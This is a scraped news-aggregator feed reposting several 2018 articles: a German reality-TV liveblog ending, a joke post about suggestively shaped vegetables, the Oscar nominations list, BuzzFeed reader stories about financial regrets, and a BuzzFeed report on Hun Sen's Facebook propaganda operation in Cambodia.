Dann Carina und Sebastian. 🙄🙄🙄

45.

Rose angenommen, aber heiß war die Leidenschaft da jetzt nicht.

46.

Mehr so wie ein Mikrowellengericht. In der Mitte noch total kalt.

47.

Aber Hauptsache Fame, wa.

Carina 21:56 Uhr: „Ich nehm die Rose auf keinen Fall an.“ Carina 21:59 Uhr: „Ja, ich nehme die Rose an.“ #BachelorinParadise https://t.co/CZ8NNFwTEz

Carina 21:56 Uhr: „Ich nehm die Rose auf keinen Fall an.“

Carina 21:59 Uhr: „Ja, ich nehme die Rose an.“ #BachelorinParadise https://t.co/CZ8NNFwTEz

48.

Das wird bestimmt voll tief bei den beiden ab jetzt. (Also wenn Sebis Freundin ihn lässt. Hrhrhr.)

“Ich glaube schon, dass ich mich mit Sebastian nochmal treffen werde, aber nicht in naher Zukunft.”* *wenn ich weiß, dass ich sterbe und nochmal alles mitnehmen will, was geht, erst dann #BachelorinParadise

“Ich glaube schon, dass ich mich mit Sebastian nochmal treffen werde, aber nicht in naher Zukunft.”*

*wenn ich weiß, dass ich sterbe und nochmal alles mitnehmen will, was geht, erst dann

#BachelorinParadise

49.

Letzte Paarung (Merkste, wie ich absichtlich nicht “Paar” sage?): Pam und Philipp

50.

Uuuuuund …

51.

Jupp, Rose beidseitig angenommen!

52.

Und krass, dann ist auch sofort Abspann. Kein Fazit, keine Moral von der Geschicht, keine Abmoderation von dem namenlosen Moderator. Eiskalt, RTL! 😂

53.

Dann sag ich auch Tschüß! Es war mir eine Freude!

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]]> https://briefnews.eu/am-besten-war-das-ende-da-war-es-vorbei-%f0%9f%99%83/feed/ 0 WTF?! 😂 https://briefnews.eu/wtf-%f0%9f%98%82/ https://briefnews.eu/wtf-%f0%9f%98%82/#respond Mon, 14 May 2018 22:43:41 +0000 http://briefnews.eu/wtf-%f0%9f%98%82/

1.

Hallo!

2.

Bock auf ne ordentlich Kartoffel?

3.

Oder einfach mal eine … bissfeste Birne?

4.

Möhren sind ja auch sehr gesund.

5.

👀

6.

👀👀👀

7.

Komm, auf einem Bein kann man nicht stehen.

8.

Oha.

9.

Ich … ähh.

10.

Ist das scharf?

11.

Oder darf’s noch ein bisschen mehr sein?

12.

Na, fühlst du schon was?

13.

Hihi.

14.

Wie war das noch? Die dicksten Bauern haben die … ach nee. Egal. 😂

15.

Okay, endlich mal realistisches Gemüse.

16.

Es ist nur eine Trockenfrucht. Nur eine Trockenfrucht!

17.

Was ne Knolle!

18.

Und: Direkt vom Busch.


pr0gramm.com

(Ja, ich weiß natürlich, dass Erdbeeren nicht an Büschen wachsen. Aber erstens klingt “Staude” total unsexy und zweitens … wir haben uns gerade beide durch 18 Absätze in einem Artikel mit nach Pimmeln und Mumus aussehenden Gewächsen gescrollt. Wir haben beide jeglichen Anspruch auf Qualität verloren.) 😂😂

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]]> https://briefnews.eu/wtf-%f0%9f%98%82/feed/ 0 😍 https://briefnews.eu/%f0%9f%98%8d/ https://briefnews.eu/%f0%9f%98%8d/#respond Sun, 08 Apr 2018 14:47:53 +0000 http://briefnews.eu/%f0%9f%98%8d/ [unable to retrieve full-text content]

😍

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]]> https://briefnews.eu/%f0%9f%98%8d/feed/ 0 The Oscar Nominations Are In 👀 🏆 https://briefnews.eu/the-oscar-nominations-are-in-%f0%9f%91%80-%f0%9f%8f%86/ https://briefnews.eu/the-oscar-nominations-are-in-%f0%9f%91%80-%f0%9f%8f%86/#respond Tue, 23 Jan 2018 14:22:39 +0000 http://briefnews.eu/the-oscar-nominations-are-in-%f0%9f%91%80-%f0%9f%8f%86/

BEST PICTURE

Call Me By Your Name

Darkest Hour

Dunkirk

Get Out

Lady Bird

Phantom Thread

The Post

The Shape Of Water

Three Billboards Outside Ebbing, Missouri

BEST ACTRESS

Sally Hawkins, The Shape of Water

Frances McDormand, Three Billboards Outside Ebbing, Missouri

Margot Robbie, I, Tonya

Saoirse Ronan, Lady Bird

Meryl Streep, The Post

BEST ACTOR

Timothée Chalamet, Call Me By Your Name

Daniel Day-Lewis, Phantom Thread

Daniel Kaluuya, Get Out

Gary Oldman, Darkest Hour

Denzel Washington, Roman J. Israel, Esq.

BEST SUPPORTING ACTRESS

Mary J. Blige, Mudbound

Allison Janney, I, Tonya

Lesley Manville, Phantom Thread

Laurie Metcalf, Lady Bird

Octavia Spencer, The Shape of Water

BEST SUPPORTING ACTOR

Willem Dafoe, The Florida Project

Woody Harrelson, Three Billboards Outside Ebbing, Missouri

Richard Jenkins, The Shape of Water

Christopher Plummer, All the Money in the World

Sam Rockwell, Three Billboards Outside Ebbing, Missouri

BEST DIRECTOR

Guillermo Del Toro, The Shape of Water

Greta Gerwig, Lady Bird

Christopher Nolan, Dunkirk

Jordan Peele, Get Out

Paul Thomas Anderson, Phantom Thread

BEST ORIGINAL SCREENPLAY

The Big Sick, Emily V. Gordon and Kumail Nanjiani

Get Out, Jordan Peele

Lady Bird, Greta Gerwig

The Shape of Water, Guillermo Del Toro and Vanessa Taylor

Three Billboards Outside Ebbing, Missouri, Martin McDonagh

BEST ADAPTED SCREENPLAY

Call Me By Your Name, James Ivory

The Disaster Artist, Scott Neustadter and Michael H. Weber

Logan, Scott Frank, James Mangold, Michael Green

Molly’s Game, Aaron Sorkin

Mudbound, Vigil Williams and Dee Rees

BEST ANIMATED FEATURE

Boss Baby

The Breadwinner

Coco

Ferdinand

Loving Vincent

BEST FOREIGN LANGUAGE FILM

A Fantastic Woman (Chile)

The Insult (Lebanon)

Loveless (Russia)

On Body and Soul (Hungary)

The Square (Sweden)

BEST DOCUMENTARY FEATURE

Abacus: Small Enough to Jail

Faces Places

Icarus

Last Men in Aleppo

Strong Island

BEST PRODUCTION DESIGN

Beauty and the Beast

Blade Runner 2049

Darkest Hour

Dunkirk

The Shape of Water

BEST COSTUME DESIGN

Beauty and the Beast

Darkest Hour

Phantom Thread

The Shape of Water

Victoria & Abdul

BEST CINEMATOGRAPHY

Blade Runner 2049

Darkest Hour

Dunkirk

Mudbound

The Shape of Water

BEST FILM EDITING

Baby Driver

Dunkirk

I, Tonya

The Shape of Water

Three Billboards Outside Ebbing, Missouri

BEST MAKEUP AND HAIRSTYLING

Darkest Hour

Victoria & Abdul

Wonder

BEST SCORE

Dunkirk

Phantom Thread

The Shape of Water

Star Wars: The Last Jedi

Three Billboards outside Ebbing, Missouri

BEST SONG

“Mighty River,” Mudbound

“The Mystery of Love,” Call Me By Your Name

“Remember Me,” Coco

“Stand Up for Something,” Marshall

“This Is Me,” The Greatest Showman

BEST SOUND EDITING

Baby Driver

Blade Runner 2049

Dunkirk

The Shape of Water

Star Wars: The Last Jedi

BEST SOUND MIXING

Baby Driver

Blade Runner 2049

Dunkirk

The Shape of Water

Star Wars: The Last Jedi

BEST VISUAL EFFECTS

Blade Runner 2049

Guardians of the Galaxy Vol. 2

Kong: Skull Island

Star Wars: The Last Jedi

War for the Planet of the Apes

BEST ANIMATED SHORT

Dear Basketball

Garden Party

Lou

Negative Space

Revolting Rhymes

BEST DOCUMENTARY SHORT

Edith+Eddie

Heaven Is a Traffic Jam on the 405

Heroin(e)

Knife Skills

Traffic Stop

BEST LIVE ACTION SHORT

DeKalb Elementary

The Eleven O’Clock

My Nephew Emmett

The Silent Child

Watu Wote/All of Us

This is a developing story. Check back for updates or follow BuzzFeed News on Twitter.

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]]> https://briefnews.eu/the-oscar-nominations-are-in-%f0%9f%91%80-%f0%9f%8f%86/feed/ 0 'Til Debt Do Us Part 💸 💳 https://briefnews.eu/til-debt-do-us-part-%f0%9f%92%b8-%f0%9f%92%b3/ https://briefnews.eu/til-debt-do-us-part-%f0%9f%92%b8-%f0%9f%92%b3/#respond Tue, 23 Jan 2018 06:24:37 +0000 http://briefnews.eu/til-debt-do-us-part-%f0%9f%92%b8-%f0%9f%92%b3/

We asked members of the BuzzFeed Community to share their worst financial decisions. As college is one of the biggest investments a person makes (the average student debt in the US is more than $ 32,000), it’s not entirely surprising that many of the responses involved school — taking out large student loans, choosing the wrong program, or not understanding the financial aid process. Others told stories about ex-partners, cars, and credit cars. One person even admitted that while he loves his wife, he regrets marrying someone with so much debt.

Experiences like these hurt, and they’re hard to talk about. We asked readers to open up about their mistakes so that, hopefully, you can learn from them.

Here are 36 big financial decisions people say they regretted.

1.Her loans are pretty much ruining our lives.

I married someone with a lot of student loan debt. Don’t get me wrong, I love my wife more than anything in this whole world, but had I known the negative effect her loans would have on our life, I may have done things differently. Her loans are pretty much ruining our lives. They have made it so we basically can’t do anything, even though we both make good money. There are no vacations, no new clothes, no new vehicles, no savings account, no retirement accounts, struggles every month and especially around the holidays, when we can’t afford to buy our families presents. Every penny has to be thought about in our lives. I am almost 40, and I am a prisoner to her debt. I don’t think people realize just how damaging student loans can be. She has now paid more back than her original loan was for, but still owes the same amount she borrowed. If you can’t make double or triple payments, they just never go away. We are currently paying over $ 10,000 a year in INTEREST alone. It’s killing us, both financially and mentally. There is no break from stress EVER. If I could go back, I’d stay with my wife but not marry her, and I would keep our finances separate. I know I sound like an insensitive dick, but the amount of worry I’ve done over her loans is enough for two lifetimes.

—daveroger

2.I am $ 150,000 in debt at the age of 25.

Going to college. I know that these days, you can’t start a career without the degree. But being $ 150,000 in debt at the age of 25 is soul crushing. I can’t even afford health insurance through my job because of my loan payments. I can’t even start my life it seems.

—juliannat411366c73

3.I paid for my ex-husband’s college education.

Once he went through most of his promotions, he ran off with one of my closest friends.

—invalidusername01

4.I took a “temporary” job after college.

I took a “temporary” job after college, rather than going right into what I should have been doing. Stayed for two years and was living off of credit cards because my pay was so low, but I was too broke to move two states away to live with my parents. I grew a lot as a person, but now I have a lot of credit card debt. It was very difficult to get a “real” job afterward, and I’m years behind where I should be in my career, leaving me financially stunted compared to my friends. I should have taken more measured steps rather than jumping for something easy/fun on a whim.

—eviet4c8ae06b0

5.I sold a bunch of stock options to reinvest in retirement funds.

I started with an internet startup company in 1997. They paid out a small amount of stock options — which grew exponentially in value over the years, especially with splits. I hung in there for five years, allowing my options to fully vest. They were worth several hundred thousand when I left to take a less stressful job.

If I had simply hung on to my full portfolio, without touching it, I could retire today. E-company is massive. Instead, I sold a bunch to reinvest in retirement funds — not a BAD idea, but it has grown a fraction of the stock value. And every time I felt it peaked, causing me to sell some, it took off again, making my sell-off a constantly bad idea.

Now I have to sell some every year to stay “retired” while working other jobs — it’ll probably be gone when my retirement fund kicks in. If I had left it alone and trusted in its growth I would be living like a king now for the rest of my life. None of my other investments paid off.

—zooter

6.The mortgage company, as well as our real estate agent, took advantage of us.

Buying a house back in ‘04 when they were throwing mortgages at anyone and everyone. We were young, naive, and had no idea what we were doing, and the mortgage company, as well as our real estate agent, took full advantage of that fact, lol. We put no money down on an older home and we did not have a fixed rate, so our mortgage shot up to an astronomical amount and we struggled to keep up with the payments. We did several “loan modifications,” as refinancing wasn’t an option. But if our payment even ended up being lowered, it was by $ 30 at the most, which wasn’t much help. On top of that, we had to replace the air conditioner and the water heater within the first year (despite the appraiser saying they were in good condition), and then two years in we had a slab leak that led to us having to replace all of the piping throughout the house. Over the years it just became impossible to keep the house up — we needed a new roof, windows (the original early ‘80s ones did nothing for the climate control in the house), and had a lot of outer wood that needed to be replaced, among many other things. We spent so many sleepless nights stressing about payments and the house falling down around us that eventually we realized we just had to get out or we would drown in this forever. Also, we didn’t want this house to cost us our relationship since we were having unnecessary fights just because we were under so much stress. We tried a short sale (selling it outright wasn’t an option due to all the repairs needed), but it didn’t happen, and we were denied deed in lieu of foreclosure by Wells Fargo. So we were forced just to let it go to foreclosure and move. It ruined our credit in a huge way, but we couldn’t be happier to be out of that nightmare.

—toddye

7.I got a student loan to go to culinary school.

I guess all my financial troubles can be traced to one very bad decision: I got a student loan to go to culinary school. The worst part was that if I had waited a mere three months, I would have been old enough to not be considered under my parents financially and would have qualified for financial aid. If I could go back in time, I would slap myself and tell myself not to waste my time. (Never did anything with the degree — I realized that although I love cooking, working in a professional kitchen may not be for me.) I wish I had at least waited those few months.

After that it was just one bad financial decision after another: three cars breaking down (learned lesson there: sometimes it’s cheaper in the long run to just get a new car), two more loans taken out (one a debt consolidation loan and the other a car loan), and I’ve got collectors calling me and may have to file bankruptcy. Also my dad cosigned on these loans, so I’m messing up his credit too, which makes me feel like shit. I just had a baby so I have hospital bills now too.

Thankfully, I have a good job and my husband just got a good job, so perhaps with careful budgeting we can get this debt under control.

—doctorscompanion77

8.I signed up for a credit card and charged two Snickers.

When I was 18, just old enough to sign up for a credit card on my own, I worked at a retail store and had forgotten my debit card one day. I was hungry and wanted to eat something, so I signed up for a credit card and charged two snickers bars to it for around $ 5. I don’t know why I was the way I was, but I decided to just NOT pay on my credit card and ended up racking up late fees to almost $ 500. I ignored the statements until I had to ask my family to help me out with that monster of a bill and it just now fell off of my credit statement three years later. Adulting is hard, but thankfully I’m now the financially responsible one in my marriage!

—k44fc49913

9.The cheaper option is not always the best.

My worst financial mistakes are sometimes going the cheaper route to save money. I bought a $ 600 bike while living in Japan that I used every day. Yes, I loved it, but I carried my bike a lot and wanted something lighter and faster. I ended up taking a loss and buying a better, $ 1,500 bike. When I moved back to Michigan, I bought a $ 3,000 car that ended up being a lemon and I put $ 15,000 in. I now finance a $ 15,000 car (that I can afford) and is almost new.

I bought a house for $ 110,000 (WELL below my budget) that does not have a garage, even though a garage was the ONLY thing on my “need” list. Now, I am looking at putting in a garage for $ 25,000.

My advice (that I never seem to learn): The cheaper option is not always the best.

—koring2

10.I financed my ex-fiancée’s motorcycle.

Almost a year and a half later I’m dealing with this. I’m having to get the police involved and I’m paying for it every month and I haven’t even seen the bike in a year. There’s still $ 8,000 owed. Biggest mistake ever.

—samanthaa49b88eb64

11.I loved the car so much I talked myself into it.

Financing a $ 30,000 vehicle while I was pregnant with no job and behind on my apartment bills. What a genius, right? … Loved the car so much I talked myself into it.

—ashleylivas

12.I let my parents take care of all the financial planning for college.

I let my parents take care of all the financial planning for college. They bickered about federal subsidized loan arrangements and which college I could truly “afford” while I was trying to get through my high school exams. If I had known what a burden the loans could be, I would have tried a community college first.

—saraelizabethb4c72b471e

13.USAA did not recognize gay partners, so I wasn’t allowed on any of the paperwork.

Investing time and money into fixing up a home that didn’t have my name on the deed.

My former spouse and I had a commitment ceremony (gay marriage wasn’t legal at the time). As part of a wedding present, my parents sold my spouse and I one of their investment properties at a loss to them to help us get a leg up financially and to own a cheap home that we could flip for a profit at some point. My ex got a USAA home loan (a military loan for those of you who don’t know). USAA did not recognize gay partners so I wasn’t allowed on any of the paperwork.

I put a bunch of time and money into making improvements to the home. Then my already abusive ex fell off the wagon and started drinking and abusing opioids, thereby making life unbearable. I ended up having to move out for my safety/sanity and I had no rights to the home because I wasn’t on the deed. So basically I got screwed and had to live with my parents for a while to get financially sound again.

—jamesmoriarty

14.I financed law school through loans.

Financing law school (tuition and living expenses) through loans. I’m facing $ 140,000 at 6–8% interest. Even more foolish was planning on doing government work for 10 years to be eligible for the public interest student loan forgiveness program, but that may be ended (call your reps, pleaaaase). I may never be able to retire.

—beckys4aff5b274

15.I didn’t contribute to a former job’s 401K.

Not contributing to a former job’s 401K when they matched to a certain percentage … to think of the money I could have had for retirement … UGH

—juli-annad

16.Getting a car.

Getting a car … with a payment higher than my mortgage.

—whitneyk44b905691

17.Borrowing extra student loan funds.

Borrowing extra student loan funds than were needed to pay tuition. I never spent the refund check on anything useful, and now have so much more debt than is necessary. Also, cashing out small 401(k)s when I started new jobs — should have rolled those funds over to be in a better spot now.

—elizabethd4abfd1af0

18.We bought a house we couldn’t afford, we put our kids in private preschools we couldn’t afford, and we were miserable.

Buying a house at 25. We — my husband and I, who have three small kids — were pressured into it and told that we were just throwing our money away by paying rent. The only homes that were “good enough” by his family’s standards were way out of our price range (we had one income, student loan debt, and about $ 4,000 of credit card debt.) We bought a house we couldn’t afford, we put our kids in private preschools we couldn’t afford, and we were miserable.

Now, five years later, we sold the house for a profit and are even further into credit card debt, but we are very quickly crawling out. Our house is a smaller townhouse — but we LOVE the community. I work now and we are ok with Not Keeping Up With the Joneses.

I’m harping it into my children to STAY AWAY FROM BUYING A HOME until your finances are squared away. No debt and a hunk of savings for a down payment.

—chabbydubbe

19.Taking out a payday loan.

Taking out a payday loan. It helps immediately, but the interest rates are so high that it makes them almost impossible to pay off without taking out other loans to pay off the previous.

—alexp4b091b3c3

20.Thinking I’d graduate making $ 80,000.

Law school. Had a scholarship but negated it by taking out extra money in loans for personal expenses. I also did a study abroad program for a summer (which is probably the one part of law school I DON’T regret). And then I made the wise choice of moving out of my parents house after my first year because, you know, I’m smart. The whole time I’m thinking I’ll graduate making $ 80,000. Nope. Graduated owing roughly $ 140,000 and started off making ~$ 45,000. I ended up having to move back home for a few years.

—allisonl46e762fd8

21.I didn’t realize I could declare myself financially independent.

I went to college in the late ’90s. I dropped out of my first school at 19 and went to live in a city and just worked various jobs for two years. I decided to go back to school in my city. By then I was 21 and had been living completely independently for two years. My mom is well off (retired at 52(!)) but was not helping with rent or airfare home or anything. No complaints — that was, and is, fine with me. BUT I didn’t realize I could declare myself financially independent, so all my financial aid was calculated as if my mom was paying for my college. She did help out but I also had to take on student loans. I could have saved me and her a ton of money!

—commonrabbit

22.My state did not recognize my program as valid accreditation.

I got loans for and signed up for an online pharmacy tech program without realizing my state did not recognize it as valid accreditation. I am still paying for that stupid program five years later…after realizing my mistake and doing what I had to do to get a real pharmacy tech license!

—amandal4d165b3a7

23.I took out a loan through (basically) a loan shark.

I took out a loan through (basically) a loan shark in order to help consolidate debt while I was in school full time. The interest rate was so high that I’d end up paying almost double what the loan was actually worth. BE CAREFUL when taking out loans. Mine ended up causing me to declare bankruptcy.

—kaylab44c66b932

24.He told me that if I put a car lease in my name, he’d pay for it.

I was engaged to this guy and I didn’t have a car. We lived together in the rural Midwest and I needed one really badly. I had credit, he did not, and he told me that if I put a car lease in my name, he’d pay for it. I was about to go to college and would have no way to pay for it if he didn’t hold up his half of the bargain, but I was young, dumb, and in love, so I did it. He enlisted in the navy and broke his spine in basic. Bam, no money for either of us.

I ended up having to do a voluntary repossession and my credit is abysmal. We’ve been broken up for almost a year, and I’m still dealing with the financial fallout. Moral of the story, DO NOT EVER put anything in your name that you can’t pay for, even if someone else says they can help. It’s your future on the line, not theirs.

—katiepagew

25.Opening up two credit cards as soon as I turned 18.

Opening up two credit cards as soon as I turned 18. I didn’t know anything about credit cards. I didn’t know you had to pay them back right away. I was a college freshman. They didn’t teach me all of that in high school. I maxed them both out in the span of six months and didn’t make payments for like three years because I didn’t know I had to. Now, eight years later, I almost have them paid off, but my credit score is absolute shit and I’ll probably never be able to own a house.

—szelt

26.Putting my wedding on credit cards.

Putting my wedding on credit cards. I’m pretty sure I could have paid for it but got too lazy to actually save.

—yeseniab

27.I financed a second car in my name.

While I was still with my ex, I financed a second car in my name because I was sick of driving him around. In the breakup, he stole the car and pays just enough to keep it from being repossessed but not enough for it to be paid off. My credit score is a joke now.

—alisonf9

28.Best decision of my life…having a child…worst financial decision of my life…having a child!

That little poop takes 80% of the money I make. I don’t even remember the last time I bought myself clothes. But to be honest I love her more then I ever thought I could love someone, so it’s ok, I don’t mind one bit.

—nessymelmel2010

29.Moving out of my parents’ house too early.

Moving out of my parents’ house too early. They asked me not to and told me to stay another year and save up, but I wanted to be totally independent. So I moved into an apartment that was out of my budget and didn’t have a roommate. I loved it but it took a HUGE toll on my savings and I ended up having to move back in with them anyway. I’m still working on saving up to where I was before I moved out and it’s been a year and a half. Never regretted anything more.

—meghana405d383b4

30.Nobody ever explained interest to me.

Applying for a credit card as soon as I was old enough to, via a junk mail form in a magazine. Nobody ever explained interest to me in the correct way. I then opened a second one via my bank when I was 20. I had no idea I would go through redundancy twice a couple of years later, nor did I realise I’d still be paying the damn cards off in my mid-thirties. Credit cards are evil!

—pinkstarbuck

31.Honestly, college…

It seems like more and more employers are hiring based on previous experience or if you know someone within the company. It all seems to be about networking and getting your foot in the door early. I feel companies couldn’t care less about your degree rather than work experience. Sure, four years of college gave me experience in social aspects and allowed me to learn more in my field, however, it also left me with about 40 years of student loan debt.

When college was done, it was incredibly difficult for me to find a job. It took roughly seven years after college to land the career I now have. Companies didn’t want to hire a “straight-out-of-college” person. They wanted someone who had years of experience who wouldn’t need to be trained in any aspect. I know so many people who spend four or more years in college, to end up in a career that has nothing to go with their degree. It truly was the biggest waste of money I can think of.

—JWelsby

32.Since the HOA is so high, no one wants to buy in my neighborhood.

I bought my first home in January of this year. Some things came up, and I am moving back to my hometown in the spring, so I’m getting my house ready to sell. My homeowners association just announced that they are raising the HOA monthly fee 40% for 2018. My HOA fee is now only $ 75 less each month than my mortgage payment. Since the HOA is so high, no one wants to buy in my neighborhood, which means I have to let my house go at a $ 40,000 loss in order to sell it. So, I am now struggling with the decision to let my house go at a $ 40,000 loss and move home where I need to be — or stay where I currently am. If I could go back, I would have never bought this house.

—hannahmariem46f5c8a04

33.That tweet cost me $ 60,000 a year.

Like an inexperienced millennial, my Twitter was not set to private. A job I was interviewing for saw that I tweeted about something stupid my boss said a few months ago, so I did not get that job. That tweet cost me $ 60,000 a year plus benefits.

—lynngoff

34.Got a preapproved Discover credit card in the mail when I was 18.

Got a preapproved Discover credit card in the mail when I was 18. Maxed it out within a week. Still paying it off into my twenties. I took out tens of thousands of dollars in federal and private loans to pay for college even though I had no idea what I wanted to do.

—valleryliterm

35.I got a worthless degree because of pride and internalized ableism.

I became disabled halfway through law school and didn’t want to be the person who quit because they were sick. Now I have six-figure debt and I am not healthy enough to work in the field, so it’s a worthless degree that I only got because of pride and internalized ableism. Believe in who you are now so you don’t screw yourself over in the future.

—snortysports

36.Having a baby. That little motherfucker is gonna ruin me.

Having a baby. That little motherfucker is gonna ruin me. Good thing she’s awesome, I guess.

—cbentley0814

Note: Submissions have been edited for length and/or clarity.

BuzzFeed News is partnering with Death, Sex & Money to share stories about class, money, and the ways they impact our lives and relationships. Follow along here.

Venessa Wong is a business reporter for BuzzFeed News and is based in New York. Wong covers the food industry.

Contact Venessa Wong at venessa.wong@buzzfeed.com.

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]]> https://briefnews.eu/til-debt-do-us-part-%f0%9f%92%b8-%f0%9f%92%b3/feed/ 0 Propaganda You May Know 👥 https://briefnews.eu/propaganda-you-may-know-%f0%9f%91%a5/ https://briefnews.eu/propaganda-you-may-know-%f0%9f%91%a5/#respond Mon, 22 Jan 2018 00:33:19 +0000 http://briefnews.eu/propaganda-you-may-know-%f0%9f%91%a5/


No Ideas for BuzzFeed News

PHNOM PENH, Cambodia — At first, Kem Monovithya was baffled. Then she was afraid.

It started with a news story that seemed totally made up. Last summer, Fresh News — a kind of Cambodian take on Breitbart — published an article accusing Kem and her sister of being part of an elaborate CIA plot to overthrow the government of Cambodia, along with their father, the leader of the main opposition party. It seemed so ridiculous that they thought no one would believe it.

“At first we thought it was so funny,” said Kem, who is also an opposition party official. In response, she tweeted a photo of her and her sister, Samathida, on a boat, wearing dark sunglasses — like secret agents in an action movie.

Personally we think MI6 is cooler than CIA. Bond, not just Bond girls, our name is Bond! To #Cambodia govt mouthpie… https://t.co/OlEo5UFnIo

Personally we think MI6 is cooler than CIA. Bond, not just Bond girls, our name is Bond! To #Cambodia govt mouthpie… https://t.co/OlEo5UFnIo

“But then it wouldn’t stop,” she said. “They kept at it for over a week.”

Fresh News is one of the most influential news sites in Cambodia, and its founder, Lim Cheavutha, has a close relationship with the prime minister, whose agenda he is happy to push. Sites like Fresh News spread their message primarily through Facebook — the social network is Cambodia’s main news source and has become so popular there it is virtually synonymous with the internet. The story about the Kem family was viewed tens of thousands of times on Facebook.

As evidence of the Kem family’s supposed plot to bring down the Cambodian government, Fresh News posted a mishmash of photos culled from social media of the sisters hanging out with various white male friends. “Any western person who we’d ever encountered in our life, they were accused of being a spy or working for the CIA,” Kem Samathida told me by phone. “They were just dropping the names of random Americans.”

Fresh News published more photos of the family, showing them posing at dinner gatherings with American friends and at an election event in Taiwan. The site also posted a video clip of Kem Sokha giving a speech in Melbourne, Australia, where he spoke about his desire for political change. All the images had been posted on social media before, but Fresh News claimed they were further proof of Kem Sokha’s plot to overthrow the government, citing no named sources or other evidence.

On Sept. 3, about a week after Fresh News first accused the Kem family of having ties to the CIA, dozens of police pushed through the gates of Kem Sokha’s family home in Phnom Penh and arrested him. He was charged with treason and faces up to 30 years in prison.

When Facebook first came to Cambodia, many hoped it would help to usher in a new period of free speech, amplifying voices that countered the narrative of the government-friendly traditional press. Instead, the opposite has happened. Prime Minister Hun Sen is now using the platform to promote his message while jailing his critics, and his staff is doing its best to exploit Facebook’s own rules to shut down criticism — all through a direct relationship with the company’s staff.

Facebook has also dramatically reduced the reach of independent media in Cambodia after it decided last year to silo off their content as part of a controversial experiment. The company said this month it would make similar changes to News Feeds for users worldwide.

Facebook has styled itself as a neutral platform for information. But its role in spreading propaganda and fake news, as well as its relationship with the Cambodian government, shows how easily that neutrality can be exploited by autocrats.

Weeks after Kem’s arrest, Cambodia’s top court dissolved the main opposition party at the request of the government. It marked a fundamental shift in Cambodian politics, which had long incorporated a vibrant media and civil society, as well as flawed but fiercely fought elections. Democracy in the country had collapsed, and it was broadcast to millions on Facebook.


Jade Sacker For BuzzFeed News

Lim Cheavutha, founder and CEO of Fresh News.

Lim Cheavutha, who is in his thirties and speaks with an easy confidence, brags about the pageviews on Fresh News with the passion of a football coach obsessing about stats. The site combines the fast-breaking headlines of a newswire with a decidedly pro-government slant, and Lim says he’s so close to Hun Sen that they sometimes message about stories well past midnight. Asked about the growth of his site, he claims extraordinary numbers that are impossible to verify because the company is privately held — more than 10 million pageviews per month and 1,400 downloads of the app a day. (Cambodia has about 4.8 million Facebook users, according to a 2017 assessment.)

Lim says he built Fresh News from scratch with just $ 10,000. His critics say this is untrue and that Hun Sen is simply bankrolling the site. (A spokesperson for the prime minister did not respond to requests for comment on the site’s ownership.) Lim insisted his site was independent — but then expressed pride in his cozy relationship with the prime minister and other ruling party officials. The opposition won’t return his messages, he said, though opposition officials told me they’d never heard from Lim.

In a place like Cambodia, Lim’s site couldn’t be successful without Facebook, which is where almost everyone gets their news. “Facebook is an absolute necessity for my site,” he said.

Lim said his most popular stories are about the mundane, like traffic accidents and celebrity gossip. But when it comes to politics, he’s quick to note that he alone has the ear of the prime minister.

“They trust me because if they give me the whole thing, I publish the whole thing,” Lim said. “If he [the prime minister] wants to spread news, he comes to me … that’s why I get scoops.” Despite claiming to be independent, Lim said he does not edit Hun Sen’s statements, and says he puts out quick stories himself, tapping them out on his phone, based on what message the prime minister wants to get out.

It’s clear that Hun Sen, who has spent 33 years in power, understands how important Facebook is in his country. With more than 9 million followers, he is the third most engaged world leader on Facebook, after Donald Trump and India’s prime minister, Narendra Modi, according to a study by the public relations firm Burson-Marsteller. The report called his presence “unusual” in its candidness — browsing through shows plenty of selfies as well as shots of him with his family and working behind the scenes. For Cambodians, it was a change from the strongman-like figure he presented for years before.

“He’s been a zealous convert to Facebook,” said Sebastian Strangio, the author of Hun Sen’s Cambodia. “He’s using Facebook to sand down the rough edges and present a more avuncular and beneficent public image.”

Democracy in the country had collapsed, and it was broadcast to millions on Facebook.

Hun Sen wasn’t always such an avid user of Facebook — in fact, he appeared to have little interest in the platform until after the last elections in 2013. That year, the Cambodia National Rescue Party (CNRP) — the party Kem Sokha led — won far more votes than expected, in part by generating support through Facebook.

Hun Sen’s party still won the election, though there were allegations of voting irregularities and fraud afterward, leading to tens of thousands of Cambodians protesting in the streets. But the prime minister learned an important lesson — that Facebook has a way of getting out your message that would be foolish to ignore.

“Facebook is the most important part of work as well as life,” said Duong Dara, an aide to Hun Sen and the head of his Facebook team, in a rare interview. “The new generation doesn’t have time to watch television anymore, even I don’t buy newspapers. The News Feed, I can see quickly.”

Duong, who is in his early forties, first started using Facebook, he said, because he saw posts about Cambodia being a dangerous place to visit and wanted to clap back out of patriotism. Later, he created a fan page for Hun Sen, who he had long supported. He attracted millions of followers with his straightforward voice. After the election in 2013, Hun Sen himself saw it, Duong said, and got in touch.

Duong came on board and began building a team to manage Hun Sen’s Facebook presence. He declined to specify its size, but said the team was made up of technical people as well as those who understand politics, government policy, and public opinion.

Duong, who speaks English with a perfect American-style accent, has traveled throughout his country and abroad at Hun Sen’s side. He carries five mobile phones in a black vinyl case specifically so he can monitor different Facebook accounts. The phones use different cell service providers so that there’s always a guarantee of signal when the prime minister needs to post — even during a recent visit to China, where Facebook is blocked, and in less developed parts of the countryside.

Duong’s team obsessively monitors comments and likes on the prime minister’s posts with the fervor of day traders playing the stock market, trying to replicate successes and interrogate failures. They’ve learned photos that show Hun Sen’s personal side — like selfies or casual snaps — do a lot better than messages about policy.

Duong’s team also monitors Facebook for people posting comments critical of Hun Sen that they feel cross the line.

“We don’t want that kind of information spread on the prime minister,” Duong said. At first, the team, or the prime minister himself, would reply directly to critics, he said. But if the Facebook user didn’t stop, Duong’s team would try to get their accounts blocked.

“If they keep posting these nonsense messages, we report it to Facebook,” he said. “They’ve been very helpful. I have a good contact with them.”

When ordinary Facebook users find a post objectionable, they click a link on the post to report it. Then a Facebook employee judges whether it violates the platform’s rules and should be taken down. In practice, it’s a clunky process that involves no direct communication or chance for appeal, and the decisions made by Facebook can seem mysterious and arbitrary.

But for the Cambodian government, that process has been streamlined by Facebook.

Duong said every couple of months, his team would email an employee they work with at Facebook to request a set of accounts be taken down, either based on language they used or because their accounts did not appear to be registered to their real names, a practice Facebook’s rules forbid. Facebook often complies, he said.

Clare Wareing, a spokesperson for Facebook, said the company removes “credible threats, hate speech, and impersonation profiles when we’re made aware of them.” Facebook says it only takes down material that violates its policies.

“We have not removed content outside of our policies at the request of the government in Cambodia,” she said, pointing to the company’s transparency report. The company says any government can submit reports about content.

Duong knows that. In fact, when his team reports critics, they do their best to exploit Facebook’s own rules, specifically looking for posts critical of Hun Sen that they think Facebook will also find objectionable.

